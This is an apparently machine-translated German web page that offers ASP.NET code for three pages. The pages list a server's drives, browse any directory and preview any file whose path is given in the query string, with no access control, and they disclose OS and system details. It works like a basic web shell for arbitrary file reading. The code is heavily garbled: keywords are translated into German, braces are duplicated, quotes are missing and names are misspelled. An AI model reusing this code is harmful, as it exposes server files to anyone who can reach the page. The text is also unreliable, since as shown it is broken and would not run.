Sammeln Sie den praktischsten Webseite Special Effect Code!
listDrives.aspx
< % @Page Language = C# %>
< % @import namespace = systemm %>
< % @import namespace = system.io %>
<%
String QDrives = Environment.oSversion.toString ();
String QNewline = Environment.SystemDirectory.ToString ();
String QMO = Umgebung.WorkingSet.tstring ();
int qtick = Environment.TickCount;
qtick/= 60000;
String [] Achdrivers = Directory.GetLogicalDrives ();
int nnumofDrives = Achdrives.length;
Antwort.Write (Ihr System ist :);
Antwort.Write (QDrives);
Antwort.Write (<br>);
Antwort.Write (Ihr verfügbarer Speicher ist :);
Antwort.Write (QMO);
Antwort.Write (<br>);
Response.write (wurde letztes Mal neu gestartet);
response.write (qtick.tostring ());
Antwort.Write (Minute);
Antwort.Write (<br>);
Antwort.Write (<br>);
Antwort.Write (<br>);
Antwort.Write (anzeigen Ihre Festplatte :);
Antwort.Write (<ul>);
für (int i = 0; i <nnumofDrives; i ++)
{{{{
Antwort.Write (<li> <a href =/listDir.aspx? Dir =);
response.write (server.urlencode (Achdrives [i]));
response.write (/> + achdrives [i]);
response.write (</a> <br>);
}
Antwort.Write (</ul>);
%>
listdir.aspx
< % @Page Language = C# Debug = True %>
< % @import namespace = system.io %>
<%
String strDir2List = Request.queryString.get (Dir);
Verzeichnis thisone = null;
versuchen
{{{{
thisne = neues Verzeichnis (strdir2List);
// Aussens der Eigenschaft
response.write (<p> Zeit erstellen: + thamene.creation.toString () + </p>);
Verzeichnis [] subdirectores = thastene.getDirectories ();
Antwort.Write (<ul>);
Antwort.Write ------------------------------------------- ----------------------------------------------);
Antwort.Write (<br>);
für (int i = 0; i <subdirectores.length; i ++)
{{{{
Antwort.Write (<li> <a href =/listDir.aspx? Dir =);
response.write (server.urlencode (subdirectores [i]. fullName));
response.write (/> + subdirectories [i] .name);
response.write (</a> <br>);
}
Antwort.Write (</ul>);
Datei [] theFiles = thalne.getFiles ();
Antwort.Write (<ul>);
Antwort.Write (--------------------------- 文件 ------------------ --------------);
Antwort.Write (<br>);
für (int i = 0; i <die <theFiles.length; i ++)
{{{{
response.write (<li> <a href =/showfile.aspx? file =);
response.write (server.urlencode (theFiles [i]. fullName));
response.write (/> + thefiles [i] .name);
response.write (</a> <br>);
}
Antwort.Write (</ul>);
}
fangen (Ausnahme E)
{{{{
Antwort.Write (Diese Funktion kann aus folgenden Gründen nicht implementiert werden :);
Antwort.Write (e.ToString () +);
Antwort.end ();
}
%>
showfile.aspx
<% @Page Language = C# Debug = True%>
< % @import namespace = system.io %>
<html>
<Head> <tites> Dateiinformationen </title> </head>
<body>
<%
String strFile2Show = Request.queryString.get (Datei);
Datei thastne = new Datei (strFile2Show);
%>
<tabelle>
<tr> <td> Dateiname: </td> <td> <%= thisone.name%> </td> </tr>
<ter> <td> Voller Name: </td> <td> <%= thisone.fullname%> </td> </tr>
<ter> <td> Datei Erstellen Datum: </td> <td> <%= thisone.creationtime.toString ()%> </td> </tr>
<ter> <td> Dateigröße: </td> <td> <%= thisone.length.toString ()%> Bytes </td> </tr>
<ter> <td> Letzte Verwendung
<ter> <td> Letzte Modifikationszeit: </td> <td> <%= thisone.lastwritetime.toString ()%> </td> </tr>
</table>
<%
streamReader thereader = thastene.opentemt ();
char [] thebuffer = new char [1000];
int nream = thereader.readblock (theBuffer, 0, 1000);
Antwort.Write (<br>);
Antwort.Write (Vorschau von Dateiinhalten :);
Antwort.Write (<br>);
Antwort.Write (<Pre>);
response.write (server.htmlencode (neuer String (theBuffer, 0, nrad));
Antwort.Write (</pre>);
%>
</body>
</html>
Es sind Anreicherungsverwaltungsfunktionen, Integrations -Hochladen, Änderungen, Löschen und andere Verwaltungsfunktionen
Ich frage mich, ob es so viel Zeit gibt
Arbeite hart, Freunde